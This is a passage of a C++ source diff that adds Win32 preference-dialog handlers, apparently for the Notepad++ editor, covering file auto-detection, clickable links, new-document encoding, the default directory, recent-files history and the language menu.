IDC_COLONENUMBER_STATIC, svp._edgeNbColumn, FALSE); + + // Execute modified value + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETTING_EDGE_SIZE, 0, 0); + } + return TRUE; + } + + case IDC_RADIO_LWDEF: + svp._lineWrapMethod = LINEWRAP_DEFAULT; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_LWDEF, 0); + return TRUE; + + case IDC_RADIO_LWALIGN: + svp._lineWrapMethod = LINEWRAP_ALIGNED; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_LWALIGN, 0); + return TRUE; + + case IDC_RADIO_LWINDENT: + svp._lineWrapMethod = LINEWRAP_INDENT; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_LWINDENT, 0); + return TRUE; + + default : + switch (HIWORD(wParam)) + { + case CBN_SELCHANGE : // == case LBN_SELCHANGE : + { + switch (LOWORD(wParam)) + { + case IDC_WIDTH_COMBO: + { + nppGUI._caretWidth = static_cast(::SendDlgItemMessage(_hSelf, IDC_WIDTH_COMBO, CB_GETCURSEL, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETCARETWIDTH, 0, 0); + return TRUE; + } + default: + break; + } + } + } + } + } + } + return FALSE; +} + +INT_PTR CALLBACK SettingsDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + switch (message) + { + case WM_INITDIALOG : + { + if (nppGUI._fileAutoDetection == cdEnabled) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_FILEAUTODETECTION, BM_SETCHECK, BST_CHECKED, 0); + } + else if (nppGUI._fileAutoDetection == cdAutoUpdate) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_FILEAUTODETECTION, BM_SETCHECK, BST_CHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_UPDATESILENTLY, BM_SETCHECK, BST_CHECKED, 0); + } + else if (nppGUI._fileAutoDetection == cdGo2end) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_FILEAUTODETECTION, BM_SETCHECK, BST_CHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_UPDATEGOTOEOF, BM_SETCHECK, BST_CHECKED, 0); + } + else if (nppGUI._fileAutoDetection == cdAutoUpdateGo2end) + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_FILEAUTODETECTION, BM_SETCHECK, BST_CHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_UPDATESILENTLY, BM_SETCHECK, BST_CHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_UPDATEGOTOEOF, BM_SETCHECK, BST_CHECKED, 0); + } + else //cdDisabled + { + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_UPDATESILENTLY), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_UPDATEGOTOEOF), FALSE); + } + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_MIN2SYSTRAY, BM_SETCHECK, nppGUI._isMinimizedToTray, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DETECTENCODING, BM_SETCHECK, nppGUI._detectEncoding, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_AUTOUPDATE, BM_SETCHECK, nppGUI._autoUpdateOpt._doAutoUpdate, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_BACKSLASHISESCAPECHARACTERFORSQL, BM_SETCHECK, nppGUI._backSlashIsEscapeCharacterForSql, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLEDOCPEEKER, BM_SETCHECK, nppGUI._isDocPeekOnTab ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLEDOCPEEKONMAP, BM_SETCHECK, nppGUI._isDocPeekOnMap ? BST_CHECKED : BST_UNCHECKED, 0); + + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CHECK_AUTOUPDATE), nppGUI._doesExistUpdater?SW_SHOW:SW_HIDE); + + BOOL linkEnable = FALSE; + BOOL dontUnderline = FALSE; + BOOL dontUnderlineState = FALSE; + if (nppGUI._styleURL == 1) + { + linkEnable = TRUE; + dontUnderline = TRUE; + dontUnderlineState = TRUE; + + } + else if (nppGUI._styleURL == 2) + { + linkEnable = TRUE; + dontUnderline = FALSE; + dontUnderlineState = TRUE; + } + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_CLICKABLELINK_ENABLE, BM_SETCHECK, linkEnable, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_CLICKABLELINK_NOUNDERLINE, BM_SETCHECK, dontUnderline, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_CLICKABLELINK_NOUNDERLINE), dontUnderlineState); + + ::SendDlgItemMessage(_hSelf, IDC_EDIT_SESSIONFILEEXT, WM_SETTEXT, 0, reinterpret_cast(nppGUI._definedSessionExt.c_str())); + ::SendDlgItemMessage(_hSelf, IDC_EDIT_WORKSPACEFILEEXT, WM_SETTEXT, 0, reinterpret_cast(nppGUI._definedWorkspaceExt.c_str())); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLEDOCSWITCHER, BM_SETCHECK, nppGUI._doTaskList, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_MAINTAININDENT, BM_SETCHECK, nppGUI._maitainIndent, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_STYLEMRU, BM_SETCHECK, nppGUI._styleMRU, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SHORTTITLE, BM_SETCHECK, nppGUI._shortTitlebar, 0); + + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_EDIT_SESSIONFILEEXT: + { + TCHAR sessionExt[MAX_PATH]; + ::SendDlgItemMessage(_hSelf, IDC_EDIT_SESSIONFILEEXT, WM_GETTEXT, MAX_PATH, reinterpret_cast(sessionExt)); + nppGUI._definedSessionExt = sessionExt; + return TRUE; + } + case IDC_EDIT_WORKSPACEFILEEXT: + { + TCHAR workspaceExt[MAX_PATH]; + ::SendDlgItemMessage(_hSelf, IDC_EDIT_WORKSPACEFILEEXT, WM_GETTEXT, MAX_PATH, reinterpret_cast(workspaceExt)); + nppGUI._definedWorkspaceExt = workspaceExt; + return TRUE; + } + } + } + + switch (wParam) + { + case IDC_CHECK_FILEAUTODETECTION: + { + bool isChecked = isCheckedOrNot(IDC_CHECK_FILEAUTODETECTION); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_UPDATESILENTLY), isChecked); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_UPDATEGOTOEOF), isChecked); + + bool isSilent = isCheckedOrNot(IDC_CHECK_UPDATESILENTLY); + bool isGo2End = isCheckedOrNot(IDC_CHECK_UPDATEGOTOEOF); + + ChangeDetect cd; + + if (!isChecked) + cd = cdDisabled; + else if (!isSilent && !isGo2End) + cd = cdEnabled; + else if (!isSilent && isGo2End) + cd = cdGo2end; + else if (isSilent && !isGo2End) + cd = cdAutoUpdate; + else //(isSilent && isGo2End) + cd = cdAutoUpdateGo2end; + + nppGUI._fileAutoDetection = cd; + } + return TRUE; + + case IDC_CHECK_UPDATESILENTLY: + case IDC_CHECK_UPDATEGOTOEOF: + { + bool isSilent = isCheckedOrNot(IDC_CHECK_UPDATESILENTLY); + bool isGo2End = isCheckedOrNot(IDC_CHECK_UPDATEGOTOEOF); + + ChangeDetect cd; + + if (!isSilent && !isGo2End) + cd = cdEnabled; + else if (!isSilent && isGo2End) + cd = cdGo2end; + else if (isSilent && !isGo2End) + cd = cdAutoUpdate; + else //(isSilent && isGo2End) + cd = cdAutoUpdateGo2end; + + nppGUI._fileAutoDetection = cd; + } + return TRUE; + + case IDC_CHECK_CLICKABLELINK_ENABLE: + { + bool isChecked = isCheckedOrNot(IDC_CHECK_CLICKABLELINK_ENABLE); + if (!isChecked) + ::SendDlgItemMessage(_hSelf, IDC_CHECK_CLICKABLELINK_NOUNDERLINE, BM_SETCHECK, BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_CLICKABLELINK_NOUNDERLINE), isChecked); + + nppGUI._styleURL = isChecked?2:0; + } + return TRUE; + + case IDC_CHECK_CLICKABLELINK_NOUNDERLINE: + { + bool isChecked = isCheckedOrNot(IDC_CHECK_CLICKABLELINK_NOUNDERLINE); + nppGUI._styleURL = isChecked?1:2; + } + return TRUE; + + case IDC_CHECK_AUTOUPDATE: + nppGUI._autoUpdateOpt._doAutoUpdate = isCheckedOrNot(static_cast(wParam)); + return TRUE; + + case IDC_CHECK_MIN2SYSTRAY: + nppGUI._isMinimizedToTray = isCheckedOrNot(static_cast(wParam)); + return TRUE; + + case IDC_CHECK_DETECTENCODING: + nppGUI._detectEncoding = isCheckedOrNot(static_cast(wParam)); + return TRUE; + case IDC_CHECK_ENABLEDOCSWITCHER : + { + nppGUI._doTaskList = !nppGUI._doTaskList; + if (nppGUI._doTaskList) + { + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_STYLEMRU), TRUE); + } + else + { + nppGUI._styleMRU = false; + ::SendDlgItemMessage(_hSelf, IDC_CHECK_STYLEMRU, BM_SETCHECK, false, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_STYLEMRU), FALSE); + } + return TRUE; + } + + case IDC_CHECK_MAINTAININDENT : + { + nppGUI._maitainIndent = !nppGUI._maitainIndent; + return TRUE; + } + + case IDC_CHECK_STYLEMRU : + { + nppGUI._styleMRU = !nppGUI._styleMRU; + return TRUE; + } + + case IDC_CHECK_SHORTTITLE: + { + nppGUI._shortTitlebar = !nppGUI._shortTitlebar; + HWND grandParent = ::GetParent(_hParent); + ::SendMessage(grandParent, NPPM_INTERNAL_UPDATETITLEBAR, 0, 0); + return TRUE; + } + + case IDC_CHECK_BACKSLASHISESCAPECHARACTERFORSQL : + { + nppGUI._backSlashIsEscapeCharacterForSql = isCheckedOrNot(IDC_CHECK_BACKSLASHISESCAPECHARACTERFORSQL); + return TRUE; + } + + case IDC_CHECK_ENABLEDOCPEEKER: + { + nppGUI._isDocPeekOnTab = isCheckedOrNot(IDC_CHECK_ENABLEDOCPEEKER); + return TRUE; + } + + case IDC_CHECK_ENABLEDOCPEEKONMAP: + { + nppGUI._isDocPeekOnMap = isCheckedOrNot(IDC_CHECK_ENABLEDOCPEEKONMAP); + return TRUE; + } + } + } + } + return FALSE; +} + + +void RecentFilesHistoryDlg::setCustomLen(int val) +{ + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC), val > 0); + ::SetDlgItemInt(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC, val, FALSE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC), val > 0?SW_SHOW:SW_HIDE); +} + +INT_PTR CALLBACK DefaultNewDocDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + NewDocDefaultSettings & ndds = (NewDocDefaultSettings &)nppGUI.getNewDocDefaultSettings(); + + switch (message) + { + case WM_INITDIALOG: + { + int ID2Check = IDC_RADIO_F_WIN; + switch (ndds._format) + { + case EolType::windows: + ID2Check = IDC_RADIO_F_WIN; + break; + case EolType::macos: + ID2Check = IDC_RADIO_F_MAC; + break; + case EolType::unix: + ID2Check = IDC_RADIO_F_UNIX; + break; + case EolType::unknown: + assert(false); + break; + } + ::SendDlgItemMessage(_hSelf, ID2Check, BM_SETCHECK, BST_CHECKED, 0); + + switch (ndds._unicodeMode) + { + case uni16BE : + ID2Check = IDC_RADIO_UCS2BIG; + break; + case uni16LE : + ID2Check = IDC_RADIO_UCS2SMALL; + break; + case uniUTF8 : + ID2Check = IDC_RADIO_UTF8; + break; + case uniCookie : + ID2Check = IDC_RADIO_UTF8SANSBOM; + break; + + default : //uni8Bit + ID2Check = IDC_RADIO_ANSI; + } + + int selIndex = -1; + generic_string str; + EncodingMapper* em = EncodingMapper::getInstance(); + for (size_t i = 0, encodingArraySize = sizeof(encodings)/sizeof(int) ; i < encodingArraySize ; ++i) + { + int cmdID = em->getIndexFromEncoding(encodings[i]); + if (cmdID != -1) + { + cmdID += IDM_FORMAT_ENCODE; + getNameStrFromCmd(cmdID, str); + int index = static_cast(::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_ADDSTRING, 0, reinterpret_cast(str.c_str()))); + if (ndds._codepage == encodings[i]) + selIndex = index; + ::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_SETITEMDATA, index, encodings[i]); + } + } + + if (ndds._codepage == -1 || selIndex == -1) + { + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), false); + } + else + { + ID2Check = IDC_RADIO_OTHERCP; + ::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_SETCURSEL, selIndex, 0); + } + + ::SendDlgItemMessage(_hSelf, ID2Check, BM_SETCHECK, BST_CHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_OPENANSIASUTF8, BM_SETCHECK, (ID2Check == IDC_RADIO_UTF8SANSBOM && ndds._openAnsiAsUtf8)?BST_CHECKED:BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_OPENANSIASUTF8), ID2Check == IDC_RADIO_UTF8SANSBOM); + + size_t index = 0; + for (int i = L_TEXT ; i < pNppParam->L_END ; ++i) + { + str.clear(); + if (static_cast(i) != L_USER) + { + int cmdID = pNppParam->langTypeToCommandID(static_cast(i)); + if ((cmdID != -1)) + { + getNameStrFromCmd(cmdID, str); + if (str.length() > 0) + { + _langList.push_back(LangID_Name(static_cast(i), str)); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_DEFAULTLANG, CB_ADDSTRING, 0, reinterpret_cast(str.c_str())); + if (ndds._lang == i) + index = _langList.size() - 1; + } + } + } + } + ::SendDlgItemMessage(_hSelf, IDC_COMBO_DEFAULTLANG, CB_SETCURSEL, index, 0); + + // + // To avoid the white control background to be displayed in dialog + // + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + } + + case WM_COMMAND: + switch (wParam) + { + case IDC_RADIO_UCS2BIG: + ndds._unicodeMode = uni16BE; + ndds._openAnsiAsUtf8 = false; + makeOpenAnsiAsUtf8(false); + ndds._codepage = -1; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), false); + return TRUE; + case IDC_RADIO_UCS2SMALL: + ndds._unicodeMode = uni16LE; + ndds._openAnsiAsUtf8 = false; + makeOpenAnsiAsUtf8(false); + ndds._codepage = -1; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), false); + return TRUE; + case IDC_RADIO_UTF8: + ndds._unicodeMode = uniUTF8; + ndds._openAnsiAsUtf8 = false; + makeOpenAnsiAsUtf8(false); + ndds._codepage = -1; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), false); + return TRUE; + case IDC_RADIO_UTF8SANSBOM: + ndds._unicodeMode = uniCookie; + makeOpenAnsiAsUtf8(true); + ndds._codepage = -1; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), false); + return TRUE; + case IDC_RADIO_ANSI: + ndds._unicodeMode = uni8Bit; + ndds._openAnsiAsUtf8 = false; + makeOpenAnsiAsUtf8(false); + ndds._codepage = -1; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), false); + return TRUE; + + case IDC_CHECK_OPENANSIASUTF8 : + ndds._openAnsiAsUtf8 = (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_OPENANSIASUTF8), BM_GETCHECK, 0, 0)); + return TRUE; + + case IDC_RADIO_OTHERCP : + { + ndds._openAnsiAsUtf8 = false; + makeOpenAnsiAsUtf8(false); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_COMBO_OTHERCP), true); + auto index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_GETCURSEL, 0, 0); + ndds._codepage = static_cast(::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_GETITEMDATA, index, 0)); + return TRUE; + } + + case IDC_RADIO_F_MAC: + { + ndds._format = EolType::macos; + return TRUE; + } + case IDC_RADIO_F_UNIX: + { + ndds._format = EolType::unix; + return TRUE; + } + case IDC_RADIO_F_WIN: + { + ndds._format = EolType::windows; + return TRUE; + } + + default: + { + if (HIWORD(wParam) == CBN_SELCHANGE) + { + if (LOWORD(wParam) == IDC_COMBO_DEFAULTLANG) + { + auto index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_DEFAULTLANG, CB_GETCURSEL, 0, 0); + ndds._lang = _langList[index]._id; + return TRUE; + } + else if (LOWORD(wParam) == IDC_COMBO_OTHERCP) + { + auto index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_GETCURSEL, 0, 0); + ndds._codepage = static_cast(::SendDlgItemMessage(_hSelf, IDC_COMBO_OTHERCP, CB_GETITEMDATA, index, 0)); + return TRUE; + } + } + return FALSE; + } + } + } + return FALSE; +} + +INT_PTR CALLBACK DefaultDirectoryDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + + switch (message) + { + case WM_INITDIALOG : + { + int ID2Check = 0; + bool shouldActivated; + switch (nppGUI._openSaveDir) + { + case dir_last : + ID2Check = IDC_OPENSAVEDIR_REMEMBERLAST_RADIO; + shouldActivated = false; + break; + case dir_userDef : + ID2Check = IDC_OPENSAVEDIR_ALWAYSON_RADIO; + shouldActivated = true; + break; + + default : + ID2Check = IDC_OPENSAVEDIR_FOLLOWCURRENT_RADIO; + shouldActivated = false; + } + ::SendDlgItemMessage(_hSelf, ID2Check, BM_SETCHECK, BST_CHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_OPENSAVEDIR_ALWAYSON_EDIT, WM_SETTEXT, 0, reinterpret_cast(nppGUI._defaultDir)); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_OPENSAVEDIR_ALWAYSON_EDIT), shouldActivated); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON), shouldActivated); + + // + // To avoid the white control background to be displayed in dialog + // + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + ::SendDlgItemMessage(_hSelf, IDC_OPENSAVEDIR_CHECK_USENEWSTYLESAVEDIALOG, BM_SETCHECK, nppGUI._useNewStyleSaveDlg ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_OPENSAVEDIR_CHECK_DRROPFOLDEROPENFILES, BM_SETCHECK, nppGUI._isFolderDroppedOpenFiles ? BST_CHECKED : BST_UNCHECKED, 0); + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_OPENSAVEDIR_ALWAYSON_EDIT: + { + TCHAR inputDir[MAX_PATH]; + ::SendDlgItemMessage(_hSelf, IDC_OPENSAVEDIR_ALWAYSON_EDIT, WM_GETTEXT, MAX_PATH, reinterpret_cast(inputDir)); + lstrcpy(nppGUI._defaultDir, inputDir); + ::ExpandEnvironmentStrings(nppGUI._defaultDir, nppGUI._defaultDirExp, 500); + pNppParam->setWorkingDir(nppGUI._defaultDirExp); + return TRUE; + } + } + } + + switch (wParam) + { + case IDC_OPENSAVEDIR_FOLLOWCURRENT_RADIO: + nppGUI._openSaveDir = dir_followCurrent; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_OPENSAVEDIR_ALWAYSON_EDIT), false); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON), false); + return TRUE; + case IDC_OPENSAVEDIR_REMEMBERLAST_RADIO: + nppGUI._openSaveDir = dir_last; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_OPENSAVEDIR_ALWAYSON_EDIT), false); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON), false); + return TRUE; + case IDC_OPENSAVEDIR_ALWAYSON_RADIO: + nppGUI._openSaveDir = dir_userDef; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_OPENSAVEDIR_ALWAYSON_EDIT), true); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON), true); + return TRUE; + + case IDD_OPENSAVEDIR_ALWAYSON_BROWSE_BUTTON : + folderBrowser(_hSelf, TEXT("Select a folder as default directory"), IDC_OPENSAVEDIR_ALWAYSON_EDIT); + return TRUE; + + case IDC_OPENSAVEDIR_CHECK_USENEWSTYLESAVEDIALOG: + nppGUI._useNewStyleSaveDlg = isCheckedOrNot(IDC_OPENSAVEDIR_CHECK_USENEWSTYLESAVEDIALOG); + return TRUE; + + case IDC_OPENSAVEDIR_CHECK_DRROPFOLDEROPENFILES: + nppGUI._isFolderDroppedOpenFiles = isCheckedOrNot(IDC_OPENSAVEDIR_CHECK_DRROPFOLDEROPENFILES); + return TRUE; + + default: + return FALSE; + } + } + } + return FALSE; +} + +INT_PTR CALLBACK RecentFilesHistoryDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = (NppGUI & )pNppParam->getNppGUI(); + + switch (message) + { + case WM_INITDIALOG : + { + // Max number recent file setting + ::SetDlgItemInt(_hSelf, IDC_MAXNBFILEVAL_STATIC, pNppParam->getNbMaxRecentFile(), FALSE); + _nbHistoryVal.init(_hInst, _hSelf); + _nbHistoryVal.create(::GetDlgItem(_hSelf, IDC_MAXNBFILEVAL_STATIC), IDC_MAXNBFILEVAL_STATIC); + + // Check on launch time settings + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DONTCHECKHISTORY, BM_SETCHECK, !nppGUI._checkHistoryFiles, 0); + + // Display in submenu setting + ::SendDlgItemMessage(_hSelf, IDC_CHECK_INSUBMENU, BM_SETCHECK, pNppParam->putRecentFileInSubMenu(), 0); + + // Recent File menu entry length setting + int customLength = pNppParam->getRecentFileCustomLength(); + int id = IDC_RADIO_CUSTOMIZELENTH; + int length = customLength; + + if (customLength == RECENTFILES_SHOWONLYFILENAME) + { + id = IDC_RADIO_ONLYFILENAME; + length = 0; + } + else if (customLength == RECENTFILES_SHOWFULLPATH || customLength < 0) + { + id = IDC_RADIO_FULLFILENAMEPATH; + length = 0; + } + ::SendDlgItemMessage(_hSelf, id, BM_SETCHECK, BST_CHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC), id == IDC_RADIO_CUSTOMIZELENTH); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC), id == IDC_RADIO_CUSTOMIZELENTH?SW_SHOW:SW_HIDE); + + ::SetDlgItemInt(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC, length, FALSE); + _customLenVal.init(_hInst, _hSelf); + _customLenVal.create(::GetDlgItem(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC), NULL); + + // + // To avoid the white control background to be displayed in dialog + // + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_CHECK_DONTCHECKHISTORY: + nppGUI._checkHistoryFiles = !isCheckedOrNot(IDC_CHECK_DONTCHECKHISTORY); + return TRUE; + + case IDC_MAXNBFILEVAL_STATIC: + { + ValueDlg nbFileMaxDlg; + nbFileMaxDlg.init(NULL, _hSelf, pNppParam->getNbMaxRecentFile(), TEXT("Max File: ")); + + POINT p; + ::GetCursorPos(&p); + + int nbMaxFile = nbFileMaxDlg.doDialog(p); + if (nbMaxFile != -1) + { + if (nbMaxFile > NB_MAX_LRF_FILE) + nbMaxFile = NB_MAX_LRF_FILE; + + pNppParam->setNbMaxRecentFile(nbMaxFile); + ::SetDlgItemInt(_hSelf, IDC_MAXNBFILEVAL_STATIC, nbMaxFile, FALSE); + + // Validate modified value + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETTING_HISTORY_SIZE, 0, 0); + } + return TRUE; + } + + case IDC_CHECK_INSUBMENU: + pNppParam->setPutRecentFileInSubMenu(isCheckedOrNot(IDC_CHECK_INSUBMENU)); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RECENTFILELIST_SWITCH, 0, 0); + return TRUE; + + case IDC_RADIO_ONLYFILENAME: + setCustomLen(0); + pNppParam->setRecentFileCustomLength(0); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RECENTFILELIST_UPDATE, 0, 0); + return TRUE; + case IDC_RADIO_FULLFILENAMEPATH: + setCustomLen(0); + pNppParam->setRecentFileCustomLength(-1); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RECENTFILELIST_UPDATE, 0, 0); + return TRUE; + case IDC_RADIO_CUSTOMIZELENTH: + { + int len = pNppParam->getRecentFileCustomLength(); + if (len <= 0) + { + setCustomLen(100); + pNppParam->setRecentFileCustomLength(100); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RECENTFILELIST_UPDATE, 0, 0); + } + return TRUE; + } + + case IDC_CUSTOMIZELENGTHVAL_STATIC: + { + ValueDlg customLengthDlg; + customLengthDlg.init(NULL, _hSelf, pNppParam->getRecentFileCustomLength(), TEXT("Length: ")); + customLengthDlg.setNBNumber(3); + + POINT p; + ::GetCursorPos(&p); + + int size = customLengthDlg.doDialog(p); + if (size != -1) + { + ::SetDlgItemInt(_hSelf, IDC_CUSTOMIZELENGTHVAL_STATIC, size, FALSE); + pNppParam->setRecentFileCustomLength(size); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RECENTFILELIST_UPDATE, 0, 0); + } + return TRUE; + } + default: + return FALSE; + } + } + } + return FALSE; +} + +INT_PTR CALLBACK LangMenuDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + + switch (message) + { + case WM_INITDIALOG : + { + // + // Lang Menu + // + for (int i = L_TEXT ; i < pNppParam->L_END ; ++i) + { + generic_string str; + if (static_cast(i) != L_USER) + { + int cmdID = pNppParam->langTypeToCommandID(static_cast(i)); + if ((cmdID != -1)) + { + getNameStrFromCmd(cmdID, str); + if (str.length() > 0) + { + _langList.push_back(LangMenuItem(static_cast(i), cmdID, str)); + ::SendDlgItemMessage(_hSelf, IDC_LIST_ENABLEDLANG, LB_ADDSTRING, 0, reinterpret_cast(str.c_str())); + } + } + } + } + + for (size_t i = 0, len = nppGUI._excludedLangList.size(); i < len ; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_LIST_DISABLEDLANG, LB_ADDSTRING, 0, reinterpret_cast(nppGUI._excludedLangList[i]._langName.c_str())); + } + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_LANGMENUCOMPACT, BM_SETCHECK, nppGUI._isLangMenuCompact?BST_CHECKED:BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BUTTON_REMOVE), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BUTTON_RESTORE), FALSE); + + + // + // Tab settings + // + ::SetDlgItemInt(_hSelf, IDC_TABSIZEVAL_STATIC, nppGUI._tabSize, FALSE); + + _tabSizeVal.init(_hInst, _hSelf); + _tabSizeVal.create(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_STATIC), IDC_TABSIZEVAL_STATIC); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_REPLACEBYSPACE, BM_SETCHECK, nppGUI._tabReplacedBySpace, 0); + + ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_ADDSTRING, 0, reinterpret_cast(TEXT("[Default]"))); + const int nbLang = pNppParam->getNbLang(); + for (int i = 0; i < nbLang; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_ADDSTRING, 0, reinterpret_cast(pNppParam->getLangFromIndex(i)->_langName.c_str())); + } + const int index2Begin = 0; + ::SendDlgItemMessage(_hSelf, IDC_LIST_TABSETTNG, LB_SETCURSEL, 0, index2Begin); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GR_TABVALUE_STATIC), SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CHECK_DEFAULTTABVALUE), SW_HIDE); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC), FALSE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_TABSIZEVAL_DISABLE_STATIC), SW_HIDE); + + ETDTProc enableDlgTheme = 